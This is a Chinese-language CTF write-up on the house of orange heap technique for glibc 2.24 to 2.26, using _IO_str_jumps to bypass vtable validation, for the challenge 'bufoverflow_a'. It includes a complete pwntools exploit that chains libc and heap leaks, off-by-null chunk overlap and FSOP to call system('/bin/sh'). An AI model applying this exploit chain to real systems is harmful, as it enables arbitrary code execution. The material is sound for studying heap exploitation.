glibc.2.24-2.26——house of orange 上次说到glibc2.23的house of orange 以及相关的FSOP手法,由于在glibc2.24之后加入了对vtable的检查,导致之前那种方法失效,2.24的检查是IO_validate_vtable
要求我们的vtable
必须在__stop___libc_IO_vtables
和__start___libc_IO_vtables
之间,所以我们之前伪造在heap上的方法就失效了 ,但是仍然有新的方法去绕过这个检查
方法 使用 vtable 内的地址来作为 vtable 的地址,大致可以分为两个结构体_IO_str_jumps 或 _IO_wstr_jumps ,他们都会调用 _IO_str_overflow,以 _IO_str_jumps 为例
注意看它会调用 _IO_str_finnish
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
注意看它在一定条件的时候会把_IO_buf_base 当做参数并调用 (_IO_strfile *) fp)->_s._free_buffer)指针所指地址,在GDB分析得此处地址就是fp+0xe8处的位置,那么把此处伪造成_IO_str_jumps-8的位置,那么在调用 _IO_overflow的时候就会调用到 _IO_str_finnish ,那么把fp+0xe8处的地址放上system, _IO_buf_base 处的地址放上 /bin/sh地址,那么也可以实现调用system来获取shell,不过要注意,2.24之后我们不能直接放入/bin/sh字符串了,而是要用libc里面的/bin/sh地址,不过这次我们不用泄露heap地址了,但是对于有些题目还是需要的,比如接下来的这道题目。
题目演示 程序保护情况
64位ida逆向 菜单
add函数,申请堆块有个数限制,并且前两个使用malloc申请后来都使用,calloc申请,也就是意味着,我们要泄露地址只能靠前面两个堆块
free函数,指针清空,没有UAF
show函数,存在00截断
edit函数,不幸的是我们只能编辑最后申请的堆块,但是存在off_by_null 漏洞
分析 1.泄露libc地址,这个好办,因为前两个是通过malloc申请的,本地环境是glibc2.24,所以我们申请unsortbin堆块范围大小,然后释放掉这样堆块上会有残留的地址,之后申请回来然后show就可以得到libc地址
2.泄露heap地址,这题是2.24版本,house of orange 不需要heap地址啊,为什么要泄露??因为此题也没有溢出,那么我们想要溢出那么就要实现堆块重叠,然后修改到unsortbin的指针,那么我们就要伪造unsortbin堆块,再利用off_by_null实现堆块合并topchunk的前移,那么就需要伪造fd,bk指针,所以要泄露heap地址,那么该怎么泄露呢,因为不能溢出所以unsrotbin attack方法自然不能用了,所以可以利用largebin 来泄露,让释放堆块残留的fd_nextsize指针来泄露heap地址,因为calloc在申请堆块的时候会清空堆块内容所以我们让topchunk将所有的堆块合并,此时largebin那些残留的地址还留在堆块上,然后此时申请比第一个申请堆块(泄露libc_地址大0x10)的堆块,因为此时数据区域指向fd_nextsize处,所以此时再次申请一个堆块就可以泄露出heap地址
3.接下来利用off_by_null来伪造堆块,因为我们要达到堆块重叠
4.由于calloc申请堆块会清空堆块内容所以要恢复堆块头
5.绕过libc检查,及构造两个fake_chunk大小加起来和大chunk大小一样
6.FSOP
泄露libc地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 add(0x80 ) add(0x80 ) free(0 ) free(1 ) add(0x80 ) show() io.recv(1 ) libc_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - (0x000076ec9e399b58 - 0x76ec9e399af0 ) - libc.sym['__malloc_hook' ] success('libc_base---->' +hex (libc_base)) _IO_list_all = libc_base + libc.sym['_IO_list_all' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search('/bin/sh' ))
泄露heap地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(0x400 ) add(0x80 ) gdb.attach(io) free(1 ) add(0x500 ) free(1 ) free(2 ) free(0 ) add(0x90 ) add(0x80 ) show() io.recvuntil('\x20' ) heap_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) -0xb0 success('heap_addr----->' +hex (heap_addr))
off_by_null 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 free(0 ) free(1 ) add(0x208 ) fake_chunk = b'a' *0x20 fake_chunk += p64(0 ) + p64(0x1E1 ) fake_chunk += p64(heap_addr + 0x50 )*2 fake_chunk = fake_chunk.ljust(0x200 ,b'a' ) fake_chunk += p64(0x1E0 ) edit(fake_chunk) add(0x80 ) add(0xf0 ) edit('b' *0xf0 ) free(1 ) add(0x88 ) edit(b'b' *0x80 + p64(0x270 )) free(2 )
恢复堆块结构 1 2 3 4 5 6 7 add(0x290 ) payload = b'b' *0x1d0 + p64(0 ) + p64(0x91 ) + b'a' *0x80 + p64(0 ) + p64(0x101 ) +b'\n' edit(payload) free(1 ) free(0 )
绕过检查 1 2 3 4 5 6 7 8 add(0x290 ) payload = b'a' *0x20 + p64(0 ) + p64(0x91 ) + b'a' *0x80 + p64(0 ) + p64(0x151 ) + b'\n' edit(payload) free(0 ) free(2 ) add(0x290 )
FSOP 1 2 3 4 5 6 7 8 9 10 11 12 add(0x290 ) payload = b'a' *0x20 file = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(_IO_list_all - 0x10 ) file += p64(0 ) + p64(110 ) +p64(0xdeadbeef ) + p64(binsh) file = file.ljust(0xD8 ,b'\x00' ) file += p64(_IO_str_jumps - 0x8 ) file += p64(0 ) + p64(system) +b'\n' payload += file edit(payload) add(0x90 )
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) io = process('./bufoverflow_a' ) libc = ELF('./libc.so.6' )def add (size ): io.sendlineafter('>>' ,'1' ) io.sendlineafter('Size:' ,str (size))def free (index ): io.sendlineafter('>>' ,'2' ) io.sendlineafter('Index:' ,str (index))def edit (msg ): io.sendlineafter('>>' ,'3' ) io.sendafter('Content: ' ,msg)def show (): io.sendlineafter('>>' ,'4' ) add(0x80 ) add(0x80 ) free(0 ) free(1 ) add(0x80 ) show() io.recv(1 ) libc_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - (0x000076ec9e399b58 - 0x76ec9e399af0 ) - libc.sym['__malloc_hook' ] success('libc_base---->' +hex (libc_base)) _IO_list_all = libc_base + libc.sym['_IO_list_all' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search('/bin/sh' ))def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: success('_IO_str_jumps---->' +hex (possible_IO_str_jumps_offset)) return possible_IO_str_jumps_offset _IO_str_jumps = libc_base + get_IO_str_jumps() success('_IO_file_jumps---->' +hex (_IO_str_jumps)) pause() add(0x400 ) add(0x80 ) gdb.attach(io) free(1 ) add(0x500 ) free(1 ) free(2 ) free(0 ) add(0x90 ) add(0x80 ) show() io.recvuntil('\x20' ) heap_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) -0xb0 success('heap_addr----->' +hex (heap_addr)) free(0 ) free(1 ) add(0x208 ) fake_chunk = b'a' *0x20 fake_chunk += p64(0 ) + p64(0x1E1 ) fake_chunk += p64(heap_addr + 0x50 )*2 fake_chunk = fake_chunk.ljust(0x200 ,b'a' ) fake_chunk += p64(0x1E0 ) edit(fake_chunk) add(0x80 ) add(0xf0 ) edit('b' *0xf0 ) free(1 ) add(0x88 ) edit(b'b' *0x80 + p64(0x270 )) free(2 ) gdb.attach(io) add(0x290 ) payload = b'b' *0x1d0 + p64(0 ) + p64(0x91 ) + b'a' *0x80 + p64(0 ) + p64(0x101 ) +b'\n' edit(payload) free(1 ) free(0 ) add(0x290 ) payload = b'a' *0x20 + p64(0 ) + p64(0x91 ) + b'a' *0x80 + p64(0 ) + p64(0x151 ) + b'\n' edit(payload) free(0 ) free(2 ) add(0x290 ) payload = b'a' *0x20 file = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(_IO_list_all - 0x10 ) file += p64(0 ) + p64(110 ) +p64(0xdeadbeef ) + p64(binsh) file = file.ljust(0xD8 ,b'\x00' ) file += p64(_IO_str_jumps - 0x8 ) file += p64(0 ) + p64(system) +b'\n' payload += file edit(payload) add(0x90 ) io.interactive()
参考 攻防世界PWN之bufoverflow_a题解(house of orange in 2.24&house of Einherjar)_pwn houseoforange 2.24bypass-CSDN博客